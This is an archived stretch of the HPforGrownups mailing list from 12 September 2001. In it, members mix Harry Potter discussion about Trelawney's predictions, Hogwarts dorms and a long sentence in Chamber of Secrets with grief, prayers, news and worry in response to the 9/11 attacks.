In-Reply-To: <20010911.221449.-252839.0.HeraldTalia@juno.com>
Message-ID: <9nnkb9+8j3f@eGroups.com>

No: HPFGUIDX 25984

--- In HPforGrownups at y..., Herald Talia <heraldtalia at j...> wrote:
> I'm off to bed with CoS, PoA, GoF, and some Patricia C. Wrede, a 
> cup of hot cocoa, and warm, cozy blankets. ( I want my teddy 
> back!!! Should I kidnap one of my daughter's?)
> Robyn

Robyn - I can't think of a better theft!  I'm thinking about digging 
out my trusty Theodore Edward Bear III, myself!  Take care!!

- Denise (who can't have enough cats around her at the moment)




From magpie1112 at yahoo.com  Wed Sep 12 12:30:34 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Wed, 12 Sep 2001 12:30:34 -0000
Subject: Can't find Vanity Fair
In-Reply-To: <9nmh6s+4ss2@eGroups.com>
Message-ID: <9nnkha+q2fp@eGroups.com>

No: HPFGUIDX 25985

--- In HPforGrownups at y..., Schlobin at a... wrote:
> --- In HPforGrownups at y..., Juan Carlos De La Cruz <avatar7 at u...> 
> wrote:
> > I would also like to have that Vanity Fair issue, but as far as I 
> am concerned (Which might be little) the only way I?ve found to do 
so is to subscribe (As I?ve done with such as Interview or Details or 
Genre or...) and I definitely do not want to subscribe to Vanity 
Fair, but to have that only issue.
> > ?
> > ????????? Could any of you help me find out whether is there a 
way to buy online that only issue?
> > ?
> > Juan Carlos De La Cruz.
> > Proud HOgwarts student at Ravenclaw.
> 
> I can't find it  either, but if I do I'll send you a copy, Juan...
> is it the August issue or the September issue?


It's the October issue.  I found it at a local supermarket (Giant, 
for all you DC'ers out there).  B&N didn't have it out last night, 
but they closed at 5:00pm.  Perhaps they'll have it out this 
morning.  If you can't find it, let me know & I will scrounge!

- Denise




From fyregirl at cfl.rr.com  Wed Sep 12 13:03:12 2001
From: fyregirl at cfl.rr.com (M. Barnett)
Date: Wed, 12 Sep 2001 13:03:12 -0000
Subject: My Brothers and Sisters ...
Message-ID: <9nnmeg+7ps3@eGroups.com>

No: HPFGUIDX 25986

Yesterday in NYC I lost possibly hundreds of Brothers and Sisters.  
My Brothers and SIsters went rushing in to help the injured and 
rescue the trapped and recover the bodies when the first plane hit.  
Then the second plane hit.  They had no warning, just like the 
civilians that died.  Before the debris stopped falling, they were 
back in the first building and already into the second building to do 
their jobs.  

In the Fire Service we have 3 main objectives on the scene of any 
call.

#1 ... Life Safety.
#2 ... Incident Stabilization.
#3 ... Property conservation.

I think they knew there wasn't much they could do to save the top end 
of the buildings, but they sure as hell weren't giving up trying to 
find those trapped above the crash site.  They knew, as I did 
watching it on TV, that the buildings were going to collapse.  Yet 
they stayed.  They stayed and helped so many people.  And now, so 
many of them are dead.

The Fire Service has lost many of its Brothers and Sisters yesterday, 
and even into today.  I know you are all praying (I use that term 
loosely, as that's not what we all do) for the victims, their 
families and our country, but please, add a special bit about all the 
Firefighters, EMS workers, and Police Officers that lost their 
lives ... so that others may live.

Michelle Barnett, Firefighter...






From justanopinion2001 at hotmail.com  Wed Sep 12 13:02:10 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Wed, 12 Sep 2001 13:02:10 -0000
Subject: Back OT?
Message-ID: <9nnmci+t5fm@eGroups.com>

No: HPFGUIDX 25987

After being thoroughly rattled yesterday, I was looking for an 
escape, so I re-read the end of CoS.  I think this may be the single 
longest sentence in the entire Harry Potter series.  It is in the 
final chapter (p. 328 of American version):

"For nearly a quarter of an hour he spoke into the rapt silence:  He 
told them about hearing the disembodied voice, how Hermione had 
finally realized that he was hearing a basilisk in the pipes; how he 
and Ron had followed the spiders into the forest, that Aragog had 
told them where the last victim of the basilisk had died; how he had 
guessed that Moaning Myrtle had been the victim, and that the 
entrance to the Chamber of Secrets might be in her bathroom . . . ."

85 words.  3 commas.  2 semi-colons.  1 colon.  1 elipse.  Can anyone 
top this?

Laura (sending her prayers to all fellow Americans)




From joannec at hwy.com.au  Wed Sep 12 10:49:25 2001
From: joannec at hwy.com.au (Joanne Collins)
Date: Wed, 12 Sep 2001 20:49:25 +1000
Subject: Professor Trelawney Scorecard?
Message-ID: <3.0.6.32.20010912204925.007fe180@mail.hwy.com.au>

No: HPFGUIDX 25988

Cindy wrote:

>Good point.  If we are going to determine whether Trelawney is a 
>fraud or not, we need to compare a list of her correct predictions 
>versus her incorrect ones.
>
>People born in July are "in great danger of sudden violent deaths" -- 
>True (Well, maybe.  Harry certainly was in great danger in GoF.)
>Harry was born in mid-winter -- False

I was thinking, could that be a misprint rather than an error from
Trelawney? Perhaps the editor/person who let it pass was from
Australia/somewhere about this end of the world and July *is* mid-winter to
them and they didn't pick up on it as an error?

Just a thought.

Joanne.

-- 

For Holden, love isn't blind, it just needs corrective eyewear.
DVD blurb for Chasing Amy.

Some doors should never be opened.
Banky Edwards, Chasing Amy.

In love, you have to put the individual ahead of their actions. Always.
Holden McNeil, Chasing Amy.



From sofie_elisabeth at yahoo.co.uk  Wed Sep 12 13:22:23 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Wed, 12 Sep 2001 13:22:23 -0000
Subject: Yesterday's events
Message-ID: <9nnnif+t0jk@eGroups.com>

No: HPFGUIDX 25989

I live in England, so all I know about yesterday's terrorist attack 
is what I hear on the news. I've been looking at the posts on this 
topic and I was wondering what happened in Boston. We've heard about 
the World Trades Centre and about the Pentagon and about the one in 
Pittsburg (heading for Camp David?)but nothing about Boston. What 
happened?
Sofie (English and terrified too)




From borg3892000 at yahoo.com  Wed Sep 12 13:27:25 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 13:27:25 -0000
Subject: Terrorist Bombing
In-Reply-To: <9nmrss+9207@eGroups.com>
Message-ID: <9nnnrt+iusa@eGroups.com>

No: HPFGUIDX 25990

--- In HPforGrownups at y..., katzefan at y... wrote:
> I would also like to offer my prayers and my deepest sympathy to 
> all those trying to come to grips with this abomination, and 
> particularly those who had to live through it, or who lost loved 
> ones through it. Some people's actions are just beyond 
> comprehension. I too wish I could do more than just sit by and 
> watch.

I agree and know how you feel.

I am sure that most anyone in this country would trade their life if 
it meant preventing even one of these hijacked planes.   Oh, what I 
wouldn't give for a time-turner today, even if it meant spending the 
rest of my life in askaban for breaking wizard law and interfering.

If I didn't know better, I would suspect You-Know-Who was behind this.




From borg3892000 at yahoo.com  Wed Sep 12 13:34:16 2001
From: borg3892000 at yahoo.com (borg3892000 at yahoo.com)
Date: Wed, 12 Sep 2001 13:34:16 -0000
Subject: Professor Trelawney Scorecard?
In-Reply-To: <3.0.6.32.20010912204925.007fe180@mail.hwy.com.au>
Message-ID: <9nno8o+l6kd@eGroups.com>

No: HPFGUIDX 25991

--- In HPforGrownups at y..., Joanne Collins <joannec at h...> wrote:
> Cindy wrote:
> 
> >Good point.  If we are going to determine whether Trelawney is a 
> >fraud or not, we need to compare a list of her correct predictions 
> >versus her incorrect ones.
> >
> >People born in July are "in great danger of sudden violent 
deaths" -- 
> >True (Well, maybe.  Harry certainly was in great danger in GoF.)
> >Harry was born in mid-winter -- False
> 
> I was thinking, could that be a misprint rather than an error from
> Trelawney? Perhaps the editor/person who let it pass was from
> Australia/somewhere about this end of the world and July *is* mid-
winter to
> them and they didn't pick up on it as an error?

I read that as Harry indicating that Trelawney was wrong on that one. 
Didn't he reply something to the effect that he was born in July and 
not mid-winter?




From elowyl at yahoo.com  Wed Sep 12 13:43:14 2001
From: elowyl at yahoo.com (elowyl at yahoo.com)
Date: Wed, 12 Sep 2001 13:43:14 -0000
Subject: Discussions and well wishes
In-Reply-To: <000201c13b10$e66e7a40$e9d41a41@breev>
Message-ID: <9nnopi+kk8f@eGroups.com>

No: HPFGUIDX 25992

--- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:
> Heya,
> 
> I was going to post the discussions today, but in light of what 
happened
> this morning, I didn't feel it was quite appropriate. 
> 
> Instead, I just want to let everyone know my prayers are going with
> those who are actually dealing with it, have family or friends in 
either
> NYC or DC, or just aren't sure about someone out there. I remember 
how
> terrifying it was to be in Oklahoma back when the federal building 
was
> bombed so I can relate. *hugs everyone out there*  Please take care 
and
> may things get better for you soon. 
> 
> All my thoughts,
> Genevieve

i do hope everybody is well and fine. Can't begin to say how saddened 
i am by the tragic events that have struck NY and DC. My deepest 
regrets and sympathies to those who might have suffered loss or pain 
and a prayer for all the innocent victims and everyone in USA. Take 
care and God bless!
-eunice-




From litalex at yahoo.com  Wed Sep 12 13:58:24 2001
From: litalex at yahoo.com (Alexandra Y. Kwan)
Date: Wed, 12 Sep 2001 21:58:24 +0800
Subject: [HPforGrownups] Yesterday's events
References: <9nnnif+t0jk@eGroups.com>
Message-ID: <012001c13b92$fe8b71a0$c106bacb@hal9000>

No: HPFGUIDX 25993

Hello,

From: "Sofie " <sofie_elisabeth at yahoo.co.uk>
> Pittsburg (heading for Camp David?)but nothing about Boston. What
> happened?

Buildings were evacuated, but *nothing* was bombed in Boston.  CNN, BBC, or
any of the major news networks should have the information.

little Alex


_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From tgrzdlphns at yahoo.com  Wed Sep 12 14:07:41 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Wed, 12 Sep 2001 10:07:41 -0400
Subject: [HPforGrownups] My Brothers and Sisters ...
In-Reply-To: <9nnmeg+7ps3@eGroups.com>
Message-ID: <5.0.2.1.2.20010912100710.0278d670@pop.mail.yahoo.com>

No: HPFGUIDX 25994

At 01:03 PM 9/12/2001 +0000, you wrote:
>Yesterday in NYC I lost possibly hundreds of Brothers and Sisters.
>My Brothers and SIsters went rushing in to help the injured and
>rescue the trapped and recover the bodies when the first plane hit.
>Then the second plane hit.  They had no warning, just like the
>civilians that died.  Before the debris stopped falling, they were
>back in the first building and already into the second building to do
>their jobs.
>
>In the Fire Service we have 3 main objectives on the scene of any
>call.
>
>#1 ... Life Safety.
>#2 ... Incident Stabilization.
>#3 ... Property conservation.
>
>I think they knew there wasn't much they could do to save the top end
>of the buildings, but they sure as hell weren't giving up trying to
>find those trapped above the crash site.  They knew, as I did
>watching it on TV, that the buildings were going to collapse.  Yet
>they stayed.  They stayed and helped so many people.  And now, so
>many of them are dead.
>
>The Fire Service has lost many of its Brothers and Sisters yesterday,
>and even into today.  I know you are all praying (I use that term
>loosely, as that's not what we all do) for the victims, their
>families and our country, but please, add a special bit about all the
>Firefighters, EMS workers, and Police Officers that lost their
>lives ... so that others may live.
>
>Michelle Barnett, Firefighter...
>

Oh MIchelle you and your colleagues are true heroes.

{{{{Hugs and prayers}}}}

Bree





From s_ings at yahoo.com  Wed Sep 12 13:58:18 2001
From: s_ings at yahoo.com (Sheryll Townsend)
Date: Wed, 12 Sep 2001 06:58:18 -0700 (PDT)
Subject: [HPforGrownups] My Brothers and Sisters ... + news from Canada
In-Reply-To: <9nnmeg+7ps3@eGroups.com>
Message-ID: <20010912135818.66231.qmail@web14604.mail.yahoo.com>

No: HPFGUIDX 25995


--- "M. Barnett" <fyregirl at cfl.rr.com> wrote:
> The Fire Service has lost many of its Brothers and
> Sisters yesterday, 
> and even into today.  I know you are all praying (I
> use that term 
> loosely, as that's not what we all do) for the
> victims, their 
> families and our country, but please, add a special
> bit about all the 
> Firefighters, EMS workers, and Police Officers that
> lost their 
> lives ... so that others may live.
> 
> Michelle Barnett, Firefighter...
> 
I will continue to pray for all of you in the US.
Please know that my thoughts are with you.

One of our Canadian TV channels now says that CNN has
confirmed 3 aircraft heading for Western Canada
(despite the fact that North American airspace is
closed) and that CR-18 aircraft have been sent out to
investigate. DND (Dept of National Defence) has not
been able/willing to confirm or deny this report. 

Our airports remain closed, though the Parliament
buildings have re-opened this morning. Yesterday all
downtown businesses in Ottawa closed early. My
daughter works in our large downtown mall and had to
stay at work until she could reach her boss for
permission to close. She was the last business open in
the mall, closing at 7:30 pm. I stopped by to see her
and her first concern was for all the people on this
list. 

Our continued prayers go out to you all,
Sheryll and Nyssa

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger
http://im.yahoo.com



From sofie_elisabeth at yahoo.co.uk  Wed Sep 12 14:32:15 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Wed, 12 Sep 2001 14:32:15 -0000
Subject: Professor Trelawney Scorecard?
In-Reply-To: <9nno8o+l6kd@eGroups.com>
Message-ID: <9nnrlf+hetg@eGroups.com>

No: HPFGUIDX 25996

--- In HPforGrownups at y..., borg3892000 at y... wrote
> I read that as Harry indicating that Trelawney was wrong on that 
one. 
> Didn't he reply something to the effect that he was born in July 
and 
> not mid-winter?

You'd think that Trelawney would know when Harry's birthday was, I 
mean he is quite famous afterall!




From sofie_elisabeth at yahoo.co.uk  Wed Sep 12 14:34:06 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Wed, 12 Sep 2001 14:34:06 -0000
Subject: Yesterday's events
In-Reply-To: <012001c13b92$fe8b71a0$c106bacb@hal9000>
Message-ID: <9nnrou+f1v9@eGroups.com>

No: HPFGUIDX 25997

--- In HPforGrownups at y..., "Alexandra Y. Kwan" <litalex at y...> wrote:
> Hello,
> 
> From: "Sofie " <sofie_elisabeth at y...>
> > Pittsburg (heading for Camp David?)but nothing about Boston. What
> > happened?
> 
> Buildings were evacuated, but *nothing* was bombed in Boston.  CNN, 
BBC, or
> any of the major news networks should have the information.
> 
> little Alex
> 
Thanks for telling me. I was worried as I have relatives in Boston.




From john at walton.to  Wed Sep 12 14:36:15 2001
From: john at walton.to (john at walton.to)
Date: Wed, 12 Sep 2001 14:36:15 -0000
Subject: Chat now?
Message-ID: <9nnrsv+j71@eGroups.com>

No: HPFGUIDX 25998

In the HP:1 chat room that Ebony so kindly set up yesterday. I'm there for 
anyone who wants to talk.

--John




From sofie_elisabeth at yahoo.co.uk  Wed Sep 12 14:46:38 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Wed, 12 Sep 2001 14:46:38 -0000
Subject: Dorms
In-Reply-To: <20010911050338.28006.cpmta@c012.sfo.cp.net>
Message-ID: <9nnsge+fcj5@eGroups.com>

No: HPFGUIDX 25999

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> I meant to type 1000 students at Hogwarts, not 100.  I've read al 
ot of this about how many students, but maybe didn't get far enough 
to read abou the dorms.
> 
> Oops-sorry
> Kitty
> 
Personally I prefer Angie J's theory thta Harry's year is small due 
to the war. People of child-bearing age were fighting and a lot of 
them were probably killed. That leaves less people to have children 
and so then you get less children (from magical families anyway).

Sofie 




From rainy_lilac at yahoo.com  Wed Sep 12 14:49:53 2001
From: rainy_lilac at yahoo.com (rainy_lilac at yahoo.com)
Date: Wed, 12 Sep 2001 14:49:53 -0000
Subject: Chat now?
In-Reply-To: <9nnrsv+j71@eGroups.com>
Message-ID: <9nnsmh+l5tq@eGroups.com>

No: HPFGUIDX 26000



I was not able to get into the chat room. WHere is it? I'd like to 
try again...




From shaysmail at yahoo.com  Wed Sep 12 14:49:33 2001
From: shaysmail at yahoo.com (Shay)
Date: Wed, 12 Sep 2001 14:49:33 -0000
Subject: National "I'm Okay" Bulletin Board
Message-ID: <9nnslt+sadb@eGroups.com>

No: HPFGUIDX 26001

For anyone who is trying to locate someone or would like to get a 
message out that they are okay...

http://okay.prodigy.net/

I hope this can help.

Shay




From Koinonia2 at hotmail.com  Wed Sep 12 14:52:55 2001
From: Koinonia2 at hotmail.com (Koinonia2 at hotmail.com)
Date: Wed, 12 Sep 2001 14:52:55 -0000
Subject: My Brothers and Sisters ...
In-Reply-To: <9nnmeg+7ps3@eGroups.com>
Message-ID: <9nnss7+dnov@eGroups.com>

No: HPFGUIDX 26002

--- In HPforGrownups at y..., "M. Barnett" <fyregirl at c...> wrote:

> I think they knew there wasn't much they could do to save the top 
end 
> of the buildings, but they sure as hell weren't giving up trying to 
> find those trapped above the crash site.  They knew, as I did 
> watching it on TV, that the buildings were going to collapse.  Yet 
> they stayed.  They stayed and helped so many people.  And now, so 
> many of them are dead.
> 
> The Fire Service has lost many of its Brothers and Sisters 
yesterday, 
> and even into today.  I know you are all praying (I use that term 
> loosely, as that's not what we all do) for the victims, their 
> families and our country, but please, add a special bit about all 
the 
> Firefighters, EMS workers, and Police Officers that lost their 
> lives ... so that others may live.
> 
> Michelle Barnett, Firefighter...

Michelle,

I was talking with my husband on the phone when the first tower 
collasped and his first comment was concerning the emergency 
personnel.  He believes that some of those workers might be people 
that he knows. He is anxious to get more information, as we all 
are.   

I heard a 67 year old former New York firefighter crying over his 
brothers and sisters who have lost their lives.  He no longer lives 
in New York and it was breaking his heart that he could do nothing 
for them. He talked about firefighters and their sacrifices.  It was 
very touching. 

I guess what I am trying to say is that many of us are very much 
aware of what emergency personnel do.  My husband has fellow workers 
and friends who were called up yesterday to go to New York and/or 
Washington D.C.  

I have been praying for all and thought I would share a portion of a 
prayer that was sent to me this morning:

*We seek Your peace for the emergency workers - that You would guard 
their lives as they seek to guard the lives of others.  Give them the 
wisdom they need to perform their duties above and beyond the levels 
of their training*

My prayers for all others who will be risking their lives in an 
effort to help others.  Of course my prayers also go out to the 
victims and their families and for this great country.

Koinonia

~God is our refuge and strength, a very present help in trouble~
Psalm 46:1

 

  






From sofie_elisabeth at yahoo.co.uk  Wed Sep 12 14:56:20 2001
From: sofie_elisabeth at yahoo.co.uk (Sofie )
Date: Wed, 12 Sep 2001 14:56:20 -0000
Subject: I'm glad I'm not the only one!
In-Reply-To: <20010911031612.568.cpmta@c012.sfo.cp.net>
Message-ID: <9nnt2k+mil4@eGroups.com>

No: HPFGUIDX 26003

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> On the topic of the age of fans, my dad is 62 and a huge fan!(snip) 
This collection of work IS timeless and can be enjoyed by everyone if 
they just let themselves give it a try!  My mom I believe is on book 
4.  I'm hoping that my 92 year old grandma will pick them up!  I KNOW 
she'd love them!

Okay in my family there are 3 generations reading them. Me, aged 17. 
My mum and step-dad (aged 41 and 47) and my grandad (aged 70). I 
fully intend to read them to my younger brothers aged 3 and 1 now. 
When they are older, anyway.So they're another generation again I 
suppose, so maybe 4 generations enjoying HP books in acouple of years!





From tgrzdlphns at yahoo.com  Wed Sep 12 14:57:38 2001
From: tgrzdlphns at yahoo.com (TgrzDlphns)
Date: Wed, 12 Sep 2001 10:57:38 -0400
Subject: [HPforGrownups] National "I'm Okay" Bulletin Board
In-Reply-To: <9nnslt+sadb@eGroups.com>
Message-ID: <5.0.2.1.2.20010912105725.02af8090@pop.mail.yahoo.com>

No: HPFGUIDX 26004

At 02:49 PM 9/12/2001 +0000, you wrote:
>For anyone who is trying to locate someone or would like to get a
>message out that they are okay...
>
>http://okay.prodigy.net/
>
>I hope this can help.
>
>Shay

Thanks Shay I'm posting this arund to all my lists
Bree





From blpurdom at yahoo.com  Wed Sep 12 15:18:44 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Wed, 12 Sep 2001 15:18:44 -0000
Subject: OT: Venting (very long)
Message-ID: <9nnuck+4pfu@eGroups.com>

No: HPFGUIDX 26005

My husband Chris and I tried to explain yesterday's events to our son 
and daughter after we ate dinner.  We don't know how much they really 
comprehended.  After they were in bed, I was cleaning up the kitchen, 
going back and forth between that room and the dining room, when I 
noticed a baby picture of my daughter that I'd left lying on the 
dresser.  I just stood there staring at it and crying, as though she 
were one of the victims in New York or Washington or on the plane 
that went down near Pittsburgh.  

I thought about the fact that at one point, everyone who died in this 
horrible tragedy had been someone's baby.  Each of them had a mother 
who gazed every morning into that innocent little face, thinking she 
was the luckiest woman in the world to have this little person, and 
that goes for the terrorists who did this too.  They were once 
someone's babies as well.  I just stared at my daughter's picture 
wondering what their mothers must be feeling right now.  Were they 
devastated that their children had been responsible for so many 
deaths?  Did they agree with their motivations?

Chris and I stayed up late watching coverage on ABC.  He couldn't 
stomach the idea of watching Fox specifically because they had been 
using a really garish logo and a SOUNDTRACK.  Now, we had also been 
appalled by many networks having given the Gulf War what amounted to 
a soundtrack, but this took the cake.  I love music, but this is real-
life tragedy, not a movie.  It's not entertainment.  Much of the time 
earlier in the evening we were watching PBS, which was doing an 
extended version of the Jim Lehrer Newshour with talking heads from 
all over opining on the situation in between reporters checking in 
from New York and Washington and south of Pittsburgh.  While that was 
better (no garish logos, no dramatic music) Chris still couldn't help 
noticing that these people who were getting "face-time" seemed 
inordinately pleased with themselves for doing so.

I was particular disturbed, however, by folks bringing up Pearl 
Harbor and the US response to it.  The talking head in question 
seemed very eager for the US to make a similar response now.  I was 
very scared by this because one of the responses the US made to Pearl 
Harbor was to put all American residents--citizens or not--of 
Japanese descent into internment camps.  I dread the backlash which 
is likely to come against Moslem and/or Arabic people in the US.  

My niece is married to a man of Morrocan descent whom she met in 
France, where he had lived most of his life.  He considers himself to 
be more French than Morrocan, and certainly Morroco has long been a 
US ally.  But he is also Moslem, and he looks middle-Eastern.  Before 
someone attacks him, will they think to check his passport and birth 
certificate, to see that he is a French citizen of Morrocan birth who 
now has a green card to live in the US?  What kind of rift in the 
fabric of our culture is coming as a result of these events?

We must have watched coverage of the two large towers and the one 
smaller tower falling twenty times.  Maybe more. I'm studying 
architecture, and I said to Chris, watching them fall, "It looks like 
they're not made of anything more than paper."  He pointed out that 
it wasn't much more than that, that they were made of glass.  I 
reminded him that the glass was merely a sheath; they were made of 
STEEL.  Tons and tons of steel girders, securely bolted together, 
welded, anchored in a huge amount of concrete at the base...When I 
think of how buildings like this are constructed, and the way these 
COLLAPSED, I'm even more shocked.  It's like they changed the orbit 
of the moon by hitting it really hard.  These weren't houses of cards 
they destroyed.  They were man-made mountains.

The kids are home from school today (Philadelphia schools are closed) 
and I'm missing my architecture classes, although I called my profs 
and I'm completely excused.  Even if I'd gotten my in-laws to take 
the kids and gone to class, probably no one would have talked about 
anything but this anyway.  I'd rather be home, where I can break down 
crying and go give my kids hugs and kisses whenever I like.  Looking 
at various lists last night, I was struck by the fact that the list 
I'm on which has the highest proportion of people under 18 was the 
one list where folks were talking about being worried about being at 
war.

I sincerely hope that we are not at war, but I know that hoping 
doesn't do much good at times like this.  My heart goes out to 
everyone in New York and Washington, especially the families of 
victims (and all those courageous firefighters and police who lost 
their lives as well) and also to the people on the flight that went 
down in Somerset County here in Pennsylvania.  By all accounts, the 
people on board that flight were heroes, working to bring down their 
own plane in an area where people on the ground would not be hurt.  I 
know that many, many people will be counted heroes of these events 
before long, but I find myself incredibly moved to think of what they 
did and the thought and care they had for others even while facing 
their own deaths.

Venting done for now...

--Barb





From smurfs143143 at aol.com  Wed Sep 12 16:05:13 2001
From: smurfs143143 at aol.com (smurfs143143 at aol.com)
Date: Wed, 12 Sep 2001 16:05:13 -0000
Subject: My Brothers and Sisters ...
In-Reply-To: <9nnmeg+7ps3@eGroups.com>
Message-ID: <9no13p+fi2g@eGroups.com>

No: HPFGUIDX 26006



My prayers go out to all the firefighters around the world for their 
bravery in every situation...especially the New York firefighters.  
Their efforts here have been greatly appreciated and their remarkable 
bravery and courage cannot be topped.  At least 200 firefighters died 
and at least 30 policemen died while doing their job and trying to 
save innocent victims...what a horrible crime that so many people 
died unnecessarily.  I hope that everyone here is fine as well as 
their family and friends...I myself am lucky, all my family is safe, 
however I have two friends who know victims...one is missing and the 
other is in the hospital.
God Bless America
 - Elizabeth




From elspeth_orange at yahoo.com  Wed Sep 12 16:13:51 2001
From: elspeth_orange at yahoo.com (elspeth_orange at yahoo.com)
Date: Wed, 12 Sep 2001 16:13:51 -0000
Subject: Chat now? Also Barb's post.
In-Reply-To: <9nnrsv+j71@eGroups.com>
Message-ID: <9no1jv+h1pe@eGroups.com>

No: HPFGUIDX 26007

--- In HPforGrownups at y..., john at w... wrote:
> In the HP:1 chat room that Ebony so kindly set up yesterday. I'm 
> there for 
> anyone who wants to talk.

isn't it just "HP:1" on Cheeta?  i'm there now, but i'm the only one 
in the room.  i think.  ergh.  

also, i wanted to thank Barb for her lovely post.  i'm so beyond 
words at this point, but it was so good to hear someone voicing some 
of what i've been feeling over the past 24 hours.  just getting 
through this day at work is as much of a struggle as it was 
yesterday.  :/  


-elspeth.




From jkusalavagemd at yahoo.com  Wed Sep 12 16:28:00 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Wed, 12 Sep 2001 16:28:00 -0000
Subject: We are at war (was Re: OT: Venting (very long)
In-Reply-To: <9nnuck+4pfu@eGroups.com>
Message-ID: <9no2eg+f3s4@eGroups.com>

No: HPFGUIDX 26008


>
> I was particular disturbed, however, by folks bringing up Pearl
> Harbor and the US response to it.  The talking head in question
> seemed very eager for the US to make a similar response now.  I was
> very scared by this because one of the responses the US made to Pearl
> Harbor was to put all American residents--citizens or not--of
> Japanese descent into internment camps.  I dread the backlash which
> is likely to come against Moslem and/or Arabic people in the US.



>
> I sincerely hope that we are not at war,


> Venting done for now...
>
> --Barb

It only takes one party to wage war.  We are at war, and we have
already taken far more casualties than in Desert Storm.  To think
otherwise is worse than to be an ostrich.

I am afraid that you are right about future unreasoning treatment of
persons of Middle Eastern origin, but I so believe that if it occurs,
it will be the actions of private individuals, and not an official US
government policy.  We have learned from our mistakes.

I wanted to leave your original message up in its entirety, it was so
moving, but I urge that all us listees read it.

I hate war.  I have been in war.  There are times, however, when you
have no choice about being in a war.  Pearl Harbor was one of those
times, and so is The World Trade Center.  That is why these two
monstrosities are linked.  We have no choice about being at war.  We
can only choose whether to be defeated to to emerge victorious.

Haggridd (John Kusalavage, M.D.)




From saitaina at wizzards.net  Wed Sep 12 16:26:05 2001
From: saitaina at wizzards.net (Saitaina)
Date: Wed, 12 Sep 2001 09:26:05 -0700
Subject: Chat
References: <9no1jv+h1pe@eGroups.com>
Message-ID: <058a01c13ba7$9fed70c0$b64e28d1@oemcomputer>

No: HPFGUIDX 26009

I am in the chat, as is one other.  I would love for others to talk to as I think the shock has finally worn off after a tossing and turning filled night.

If you can't get into the chat room, I am Saitaina, add me to your lovely buddy list on Cheeta and then join me.  Dunno how to do it without cheeta sorry.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: elspeth_orange at yahoo.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Wednesday, September 12, 2001 9:13 AM
  Subject: [HPforGrownups] Re: Chat now? Also Barb's post.


  --- In HPforGrownups at y..., john at w... wrote:
  > In the HP:1 chat room that Ebony so kindly set up yesterday. I'm 
  > there for 
  > anyone who wants to talk.

  isn't it just "HP:1" on Cheeta?  i'm there now, but i'm the only one 
  in the room.  i think.  ergh.  

  also, i wanted to thank Barb for her lovely post.  i'm so beyond 
  words at this point, but it was so good to hear someone voicing some 
  of what i've been feeling over the past 24 hours.  just getting 
  through this day at work is as much of a struggle as it was 
  yesterday.  :/  


  -elspeth.


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From LavenderChic at hotmail.com  Wed Sep 12 16:58:16 2001
From: LavenderChic at hotmail.com (LavenderChic at hotmail.com)
Date: Wed, 12 Sep 2001 16:58:16 -0000
Subject: Chat now? Also Barb's post.
In-Reply-To: <9no1jv+h1pe@eGroups.com>
Message-ID: <9no478+e3o6@eGroups.com>

No: HPFGUIDX 26010

 I would love to chat, but alas, i have a mac and am unable to 
enter yahoo chat....  I guess i should share my story too.  
Yesterday i was sitting in history class (which has a great view of 
the international bridge) and we were all transfixed to the 
television.   This was about 11 and i didn't really know what was 
going on, because i had had back to back classes all morning.  
Anyway we were all watching this when someone on TV started 
blambing Canada.  Then Traffic on the bridge slowed down and 
stopped.  It was the creepyest thing i have seen in a long time.  
After class, campus was panicing because nobody knew if the 
bridge was closed, and if Canadian students could get home.  
Oh, i should probably mention that i am in Sault Ste. Marie 
Michigan.  I don't post much, because i don't have much time, but 
i do usally keep up with whats going on in this group.  So if 
anyone knows how i can get into chat with a mac - i would be 
very grateful.  My best wishes to everyone, and i sinceraly hope 
everyone is okay.  




From meboriqua at aol.com  Wed Sep 12 17:39:49 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Wed, 12 Sep 2001 17:39:49 -0000
Subject: Thanks from New York City
Message-ID: <9no6l5+nj1o@eGroups.com>

No: HPFGUIDX 26011

This is the first time I've checked in with HPFGU since Monday - 
that's a first for me to go that long.  What I saw when the list came 
up was one posting after another from people all over the world 
wishing us here in NYC best wishes and prayers.  I want to thank every 
one who has emailed and asked about us in NYC and DC.

I counted my blessings yesterday when I heard about the WTC because I 
was up in the Bronx and, ironically, safer in that neighborhood than I 
would have been downtown in Manhattan.  My family is safe and so are 
my friends.  I'm also glad to hear that all the New Yorkers from this 
list are safe and sound.

Mayor Giuliani has advised us all to just get back to our lives and go 
about things normally.  He is NOT a mayor I support, but he has been 
fantastic throughout this and he is right; we need to be strong and 
not let whoever did this get the best of us. I have faith in New 
Yorkers that we can all get through this.  It is truly amazing how New 
Yorkers have banded together to help (more than 10,000 people have 
offered to volunteer and thousands of people are lining up to give 
blood) and the rest of the country has been supportive and 
sympathetic.  I have even heard stories of people from as far away as 
Australia saying that they were up all night watching the news over 
there.  The world is at a standstill.

Thank you again to everyone who has sent messages to me and all other 
NYers about our tragedy.  This group is the best.

--jenny from ravenclaw *******************************




